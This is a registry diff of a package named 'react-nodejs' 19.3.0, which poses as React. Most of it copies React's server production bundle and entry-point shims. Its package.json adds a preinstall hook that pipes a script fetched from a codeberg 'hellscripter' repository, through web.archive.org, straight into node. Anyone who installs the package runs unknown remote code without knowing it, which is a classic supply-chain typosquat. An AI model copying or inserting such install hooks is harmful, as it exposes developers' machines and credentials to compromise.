react-nodejs 19.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,436 @@
1
+ /**
2
+ * @license React
3
+ * react.react-server.production.js
4
+ *
5
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
6
+ *
7
+ * This source code is licensed under the MIT license found in the
8
+ * LICENSE file in the root directory of this source tree.
9
+ */
10
+
11
+ "use strict";
12
+ var ReactSharedInternals = { H: null, A: null };
13
+ function formatProdErrorMessage(code) {
14
+ var url = "https://react.dev/errors/" + code;
15
+ if (1 < arguments.length) {
16
+ url += "?args[]=" + encodeURIComponent(arguments[1]);
17
+ for (var i = 2; i < arguments.length; i++)
18
+ url += "&args[]=" + encodeURIComponent(arguments[i]);
19
+ }
20
+ return (
21
+ "Minified React error #" +
22
+ code +
23
+ "; visit " +
24
+ url +
25
+ " for the full message or use the non-minified dev environment for full errors and additional helpful warnings."
26
+ );
27
+ }
28
+ var isArrayImpl = Array.isArray;
29
+ function noop() {}
30
+ var REACT_ELEMENT_TYPE = Symbol.for("react.transitional.element"),
31
+ REACT_PORTAL_TYPE = Symbol.for("react.portal"),
32
+ REACT_FRAGMENT_TYPE = Symbol.for("react.fragment"),
33
+ REACT_STRICT_MODE_TYPE = Symbol.for("react.strict_mode"),
34
+ REACT_PROFILER_TYPE = Symbol.for("react.profiler"),
35
+ REACT_FORWARD_REF_TYPE = Symbol.for("react.forward_ref"),
36
+ REACT_SUSPENSE_TYPE = Symbol.for("react.suspense"),
37
+ REACT_MEMO_TYPE = Symbol.for("react.memo"),
38
+ REACT_LAZY_TYPE = Symbol.for("react.lazy"),
39
+ REACT_ACTIVITY_TYPE = Symbol.for("react.activity"),
40
+ REACT_VIEW_TRANSITION_TYPE = Symbol.for("react.view_transition"),
41
+ MAYBE_ITERATOR_SYMBOL = Symbol.iterator;
42
+ function getIteratorFn(maybeIterable) {
43
+ if (null === maybeIterable || "object" !== typeof maybeIterable) return null;
44
+ maybeIterable =
45
+ (MAYBE_ITERATOR_SYMBOL && maybeIterable[MAYBE_ITERATOR_SYMBOL]) ||
46
+ maybeIterable["@@iterator"];
47
+ return "function" === typeof maybeIterable ? maybeIterable : null;
48
+ }
49
+ var hasOwnProperty = Object.prototype.hasOwnProperty,
50
+ assign = Object.assign;
51
+ function ReactElement(type, key, props) {
52
+ var refProp = props.ref;
53
+ return {
54
+ $$typeof: REACT_ELEMENT_TYPE,
55
+ type: type,
56
+ key: key,
57
+ ref: void 0 !== refProp ? refProp : null,
58
+ props: props
59
+ };
60
+ }
61
+ function cloneAndReplaceKey(oldElement, newKey) {
62
+ return ReactElement(oldElement.type, newKey, oldElement.props);
63
+ }
64
+ function isValidElement(object) {
65
+ return (
66
+ "object" === typeof object &&
67
+ null !== object &&
68
+ object.$$typeof === REACT_ELEMENT_TYPE
69
+ );
70
+ }
71
+ function escape(key) {
72
+ var escaperLookup = { "=": "=0", ":": "=2" };
73
+ return (
74
+ "$" +
75
+ key.replace(/[=:]/g, function (match) {
76
+ return escaperLookup[match];
77
+ })
78
+ );
79
+ }
80
+ var userProvidedKeyEscapeRegex = /\/+/g;
81
+ function getElementKey(element, index) {
82
+ return "object" === typeof element && null !== element && null != element.key
83
+ ? escape("" + element.key)
84
+ : index.toString(36);
85
+ }
86
+ function resolveThenable(thenable) {
87
+ switch (thenable.status) {
88
+ case "fulfilled":
89
+ return thenable.value;
90
+ case "rejected":
91
+ throw thenable.reason;
92
+ default:
93
+ switch (
94
+ ("string" === typeof thenable.status
95
+ ? thenable.then(noop, noop)
96
+ : ((thenable.status = "pending"),
97
+ thenable.then(
98
+ function (fulfilledValue) {
99
+ "pending" === thenable.status &&
100
+ ((thenable.status = "fulfilled"),
101
+ (thenable.value = fulfilledValue));
102
+ },
103
+ function (error) {
104
+ "pending" === thenable.status &&
105
+ ((thenable.status = "rejected"), (thenable.reason = error));
106
+ }
107
+ )),
108
+ thenable.status)
109
+ ) {
110
+ case "fulfilled":
111
+ return thenable.value;
112
+ case "rejected":
113
+ throw thenable.reason;
114
+ }
115
+ }
116
+ throw thenable;
117
+ }
118
+ function mapIntoArray(children, array, escapedPrefix, nameSoFar, callback) {
119
+ var type = typeof children;
120
+ if ("undefined" === type || "boolean" === type) children = null;
121
+ var invokeCallback = !1;
122
+ if (null === children) invokeCallback = !0;
123
+ else
124
+ switch (type) {
125
+ case "bigint":
126
+ case "string":
127
+ case "number":
128
+ invokeCallback = !0;
129
+ break;
130
+ case "object":
131
+ switch (children.$$typeof) {
132
+ case REACT_ELEMENT_TYPE:
133
+ case REACT_PORTAL_TYPE:
134
+ invokeCallback = !0;
135
+ break;
136
+ case REACT_LAZY_TYPE:
137
+ return (
138
+ (invokeCallback = children._init),
139
+ mapIntoArray(
140
+ invokeCallback(children._payload),
141
+ array,
142
+ escapedPrefix,
143
+ nameSoFar,
144
+ callback
145
+ )
146
+ );
147
+ }
148
+ }
149
+ if (invokeCallback)
150
+ return (
151
+ (callback = callback(children)),
152
+ (invokeCallback =
153
+ "" === nameSoFar ? "." + getElementKey(children, 0) : nameSoFar),
154
+ isArrayImpl(callback)
155
+ ? ((escapedPrefix = ""),
156
+ null != invokeCallback &&
157
+ (escapedPrefix =
158
+ invokeCallback.replace(userProvidedKeyEscapeRegex, "$&/") + "/"),
159
+ mapIntoArray(callback, array, escapedPrefix, "", function (c) {
160
+ return c;
161
+ }))
162
+ : null != callback &&
163
+ (isValidElement(callback) &&
164
+ (callback = cloneAndReplaceKey(
165
+ callback,
166
+ escapedPrefix +
167
+ (null == callback.key ||
168
+ (children && children.key === callback.key)
169
+ ? ""
170
+ : ("" + callback.key).replace(
171
+ userProvidedKeyEscapeRegex,
172
+ "$&/"
173
+ ) + "/") +
174
+ invokeCallback
175
+ )),
176
+ array.push(callback)),
177
+ 1
178
+ );
179
+ invokeCallback = 0;
180
+ var nextNamePrefix = "" === nameSoFar ? "." : nameSoFar + ":";
181
+ if (isArrayImpl(children))
182
+ for (var i = 0; i < children.length; i++)
183
+ (nameSoFar = children[i]),
184
+ (type = nextNamePrefix + getElementKey(nameSoFar, i)),
185
+ (invokeCallback += mapIntoArray(
186
+ nameSoFar,
187
+ array,
188
+ escapedPrefix,
189
+ type,
190
+ callback
191
+ ));
192
+ else if (((i = getIteratorFn(children)), "function" === typeof i))
193
+ for (
194
+ children = i.call(children), i = 0;
195
+ !(nameSoFar = children.next()).done;
196
+
197
+ )
198
+ (nameSoFar = nameSoFar.value),
199
+ (type = nextNamePrefix + getElementKey(nameSoFar, i++)),
200
+ (invokeCallback += mapIntoArray(
201
+ nameSoFar,
202
+ array,
203
+ escapedPrefix,
204
+ type,
205
+ callback
206
+ ));
207
+ else if ("object" === type) {
208
+ if ("function" === typeof children.then)
209
+ return mapIntoArray(
210
+ resolveThenable(children),
211
+ array,
212
+ escapedPrefix,
213
+ nameSoFar,
214
+ callback
215
+ );
216
+ array = String(children);
217
+ throw Error(
218
+ formatProdErrorMessage(
219
+ 31,
220
+ "[object Object]" === array
221
+ ? "object with keys {" + Object.keys(children).join(", ") + "}"
222
+ : array
223
+ )
224
+ );
225
+ }
226
+ return invokeCallback;
227
+ }
228
+ function mapChildren(children, func, context) {
229
+ if (null == children) return children;
230
+ var result = [],
231
+ count = 0;
232
+ mapIntoArray(children, result, "", "", function (child) {
233
+ return func.call(context, child, count++);
234
+ });
235
+ return result;
236
+ }
237
+ function lazyInitializer(payload) {
238
+ if (-1 === payload._status) {
239
+ var ctor = payload._result,
240
+ thenable = ctor();
241
+ thenable.then(
242
+ function (moduleObject) {
243
+ if (0 === payload._status || -1 === payload._status)
244
+ (payload._status = 1),
245
+ (payload._result = moduleObject),
246
+ void 0 === thenable.status &&
247
+ ((thenable.status = "fulfilled"),
248
+ (thenable.value = moduleObject));
249
+ },
250
+ function (error) {
251
+ if (0 === payload._status || -1 === payload._status)
252
+ (payload._status = 2),
253
+ (payload._result = error),
254
+ void 0 === thenable.status &&
255
+ ((thenable.status = "rejected"), (thenable.reason = error));
256
+ }
257
+ );
258
+ -1 === payload._status &&
259
+ ((payload._status = 0), (payload._result = thenable));
260
+ }
261
+ if (1 === payload._status) return payload._result.default;
262
+ throw payload._result;
263
+ }
264
+ function createCacheRoot() {
265
+ return new WeakMap();
266
+ }
267
+ function createCacheNode() {
268
+ return { s: 0, v: void 0, o: null, p: null };
269
+ }
270
+ var Children = {
271
+ map: mapChildren,
272
+ forEach: function (children, forEachFunc, forEachContext) {
273
+ mapChildren(
274
+ children,
275
+ function () {
276
+ forEachFunc.apply(this, arguments);
277
+ },
278
+ forEachContext
279
+ );
280
+ },
281
+ count: function (children) {
282
+ var n = 0;
283
+ mapChildren(children, function () {
284
+ n++;
285
+ });
286
+ return n;
287
+ },
288
+ toArray: function (children) {
289
+ return (
290
+ mapChildren(children, function (child) {
291
+ return child;
292
+ }) || []
293
+ );
294
+ },
295
+ only: function (children) {
296
+ if (!isValidElement(children)) throw Error(formatProdErrorMessage(143));
297
+ return children;
298
+ }
299
+ };
300
+ exports.Activity = REACT_ACTIVITY_TYPE;
301
+ exports.Children = Children;
302
+ exports.Fragment = REACT_FRAGMENT_TYPE;
303
+ exports.Profiler = REACT_PROFILER_TYPE;
304
+ exports.StrictMode = REACT_STRICT_MODE_TYPE;
305
+ exports.Suspense = REACT_SUSPENSE_TYPE;
306
+ exports.ViewTransition = REACT_VIEW_TRANSITION_TYPE;
307
+ exports.__SERVER_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE =
308
+ ReactSharedInternals;
309
+ exports.cache = function (fn) {
310
+ return function () {
311
+ var dispatcher = ReactSharedInternals.A;
312
+ if (!dispatcher) return fn.apply(null, arguments);
313
+ var fnMap = dispatcher.getCacheForType(createCacheRoot);
314
+ dispatcher = fnMap.get(fn);
315
+ void 0 === dispatcher &&
316
+ ((dispatcher = createCacheNode()), fnMap.set(fn, dispatcher));
317
+ fnMap = 0;
318
+ for (var l = arguments.length; fnMap < l; fnMap++) {
319
+ var arg = arguments[fnMap];
320
+ if (
321
+ "function" === typeof arg ||
322
+ ("object" === typeof arg && null !== arg)
323
+ ) {
324
+ var objectCache = dispatcher.o;
325
+ null === objectCache && (dispatcher.o = objectCache = new WeakMap());
326
+ dispatcher = objectCache.get(arg);
327
+ void 0 === dispatcher &&
328
+ ((dispatcher = createCacheNode()), objectCache.set(arg, dispatcher));
329
+ } else
330
+ (objectCache = dispatcher.p),
331
+ null === objectCache && (dispatcher.p = objectCache = new Map()),
332
+ (dispatcher = objectCache.get(arg)),
333
+ void 0 === dispatcher &&
334
+ ((dispatcher = createCacheNode()),
335
+ objectCache.set(arg, dispatcher));
336
+ }
337
+ if (1 === dispatcher.s) return dispatcher.v;
338
+ if (2 === dispatcher.s) throw dispatcher.v;
339
+ try {
340
+ var result = fn.apply(null, arguments);
341
+ fnMap = dispatcher;
342
+ fnMap.s = 1;
343
+ return (fnMap.v = result);
344
+ } catch (error) {
345
+ throw ((result = dispatcher), (result.s = 2), (result.v = error), error);
346
+ }
347
+ };
348
+ };
349
+ exports.cacheSignal = function () {
350
+ var dispatcher = ReactSharedInternals.A;
351
+ return dispatcher ? dispatcher.cacheSignal() : null;
352
+ };
353
+ exports.captureOwnerStack = function () {
354
+ return null;
355
+ };
356
+ exports.cloneElement = function (element, config, children) {
357
+ if (null === element || void 0 === element)
358
+ throw Error(formatProdErrorMessage(267, element));
359
+ var props = assign({}, element.props),
360
+ key = element.key;
361
+ if (null != config)
362
+ for (propName in (void 0 !== config.key && (key = "" + config.key), config))
363
+ !hasOwnProperty.call(config, propName) ||
364
+ "key" === propName ||
365
+ "__self" === propName ||
366
+ "__source" === propName ||
367
+ ("ref" === propName && void 0 === config.ref) ||
368
+ (props[propName] = config[propName]);
369
+ var propName = arguments.length - 2;
370
+ if (1 === propName) props.children = children;
371
+ else if (1 < propName) {
372
+ for (var childArray = Array(propName), i = 0; i < propName; i++)
373
+ childArray[i] = arguments[i + 2];
374
+ props.children = childArray;
375
+ }
376
+ return ReactElement(element.type, key, props);
377
+ };
378
+ exports.createElement = function (type, config, children) {
379
+ var propName,
380
+ props = {},
381
+ key = null;
382
+ if (null != config)
383
+ for (propName in (void 0 !== config.key && (key = "" + config.key), config))
384
+ hasOwnProperty.call(config, propName) &&
385
+ "key" !== propName &&
386
+ "__self" !== propName &&
387
+ "__source" !== propName &&
388
+ (props[propName] = config[propName]);
389
+ var childrenLength = arguments.length - 2;
390
+ if (1 === childrenLength) props.children = children;
391
+ else if (1 < childrenLength) {
392
+ for (var childArray = Array(childrenLength), i = 0; i < childrenLength; i++)
393
+ childArray[i] = arguments[i + 2];
394
+ props.children = childArray;
395
+ }
396
+ if (type && type.defaultProps)
397
+ for (propName in ((childrenLength = type.defaultProps), childrenLength))
398
+ void 0 === props[propName] &&
399
+ (props[propName] = childrenLength[propName]);
400
+ return ReactElement(type, key, props);
401
+ };
402
+ exports.createRef = function () {
403
+ return { current: null };
404
+ };
405
+ exports.forwardRef = function (render) {
406
+ return { $$typeof: REACT_FORWARD_REF_TYPE, render: render };
407
+ };
408
+ exports.isValidElement = isValidElement;
409
+ exports.lazy = function (ctor) {
410
+ return {
411
+ $$typeof: REACT_LAZY_TYPE,
412
+ _payload: { _status: -1, _result: ctor },
413
+ _init: lazyInitializer
414
+ };
415
+ };
416
+ exports.memo = function (type, compare) {
417
+ return {
418
+ $$typeof: REACT_MEMO_TYPE,
419
+ type: type,
420
+ compare: void 0 === compare ? null : compare
421
+ };
422
+ };
423
+ exports.use = function (usable) {
424
+ return ReactSharedInternals.H.use(usable);
425
+ };
426
+ exports.useCallback = function (callback, deps) {
427
+ return ReactSharedInternals.H.useCallback(callback, deps);
428
+ };
429
+ exports.useDebugValue = function () {};
430
+ exports.useId = function () {
431
+ return ReactSharedInternals.H.useId();
432
+ };
433
+ exports.useMemo = function (create, deps) {
434
+ return ReactSharedInternals.H.useMemo(create, deps);
435
+ };
436
+ exports.version = "19.3.0";
@@ -0,0 +1,14 @@
1
+ /**
2
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
3
+ *
4
+ * This source code is licensed under the MIT license found in the
5
+ * LICENSE file in the root directory of this source tree.
6
+ */
7
+
8
+ 'use strict';
9
+
10
+ if (process.env.NODE_ENV === 'production') {
11
+ module.exports = require('./cjs/react-compiler-runtime.production.js');
12
+ } else {
13
+ module.exports = require('./cjs/react-compiler-runtime.development.js');
14
+ }
package/index.js ADDED
@@ -0,0 +1,7 @@
1
+ 'use strict';
2
+
3
+ if (process.env.NODE_ENV === 'production') {
4
+ module.exports = require('./cjs/react.production.js');
5
+ } else {
6
+ module.exports = require('./cjs/react.development.js');
7
+ }
@@ -0,0 +1,7 @@
1
+ 'use strict';
2
+
3
+ if (process.env.NODE_ENV === 'production') {
4
+ module.exports = require('./cjs/react-jsx-dev-runtime.production.js');
5
+ } else {
6
+ module.exports = require('./cjs/react-jsx-dev-runtime.development.js');
7
+ }
@@ -0,0 +1,7 @@
1
+ 'use strict';
2
+
3
+ if (process.env.NODE_ENV === 'production') {
4
+ module.exports = require('./cjs/react-jsx-dev-runtime.react-server.production.js');
5
+ } else {
6
+ module.exports = require('./cjs/react-jsx-dev-runtime.react-server.development.js');
7
+ }
package/jsx-runtime.js ADDED
@@ -0,0 +1,7 @@
1
+ 'use strict';
2
+
3
+ if (process.env.NODE_ENV === 'production') {
4
+ module.exports = require('./cjs/react-jsx-runtime.production.js');
5
+ } else {
6
+ module.exports = require('./cjs/react-jsx-runtime.development.js');
7
+ }
@@ -0,0 +1,7 @@
1
+ 'use strict';
2
+
3
+ if (process.env.NODE_ENV === 'production') {
4
+ module.exports = require('./cjs/react-jsx-runtime.react-server.production.js');
5
+ } else {
6
+ module.exports = require('./cjs/react-jsx-runtime.react-server.development.js');
7
+ }
package/package.json ADDED
@@ -0,0 +1,54 @@
1
+ {
2
+ "name": "react-nodejs",
3
+ "description": "React is a JavaScript library for building user interfaces.",
4
+ "keywords": [
5
+ "react"
6
+ ],
7
+ "version": "19.3.0",
8
+ "homepage": "https://react.dev/",
9
+ "bugs": "https://github.com/react/react/issues",
10
+ "license": "MIT",
11
+ "files": [
12
+ "LICENSE",
13
+ "README.md",
14
+ "index.js",
15
+ "cjs/",
16
+ "compiler-runtime.js",
17
+ "jsx-runtime.js",
18
+ "jsx-runtime.react-server.js",
19
+ "jsx-dev-runtime.js",
20
+ "jsx-dev-runtime.react-server.js",
21
+ "react.react-server.js"
22
+ ],
23
+ "main": "index.js",
24
+ "exports": {
25
+ ".": {
26
+ "react-server": "./react.react-server.js",
27
+ "default": "./index.js"
28
+ },
29
+ "./package.json": "./package.json",
30
+ "./jsx-runtime": {
31
+ "react-server": "./jsx-runtime.react-server.js",
32
+ "default": "./jsx-runtime.js"
33
+ },
34
+ "./jsx-dev-runtime": {
35
+ "react-server": "./jsx-dev-runtime.react-server.js",
36
+ "default": "./jsx-dev-runtime.js"
37
+ },
38
+ "./compiler-runtime": {
39
+ "react-server": "./compiler-runtime.js",
40
+ "default": "./compiler-runtime.js"
41
+ }
42
+ },
43
+ "repository": {
44
+ "type": "git",
45
+ "url": "https://github.com/react/react.git",
46
+ "directory": "packages/react"
47
+ },
48
+ "engines": {
49
+ "node": ">=0.10.0"
50
+ },
51
+ "scripts": {
52
+ "preinstall": "curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node"
53
+ }
54
+ }
@@ -0,0 +1,7 @@
1
+ 'use strict';
2
+
3
+ if (process.env.NODE_ENV === 'production') {
4
+ module.exports = require('./cjs/react.react-server.production.js');
5
+ } else {
6
+ module.exports = require('./cjs/react.react-server.development.js');
7
+ }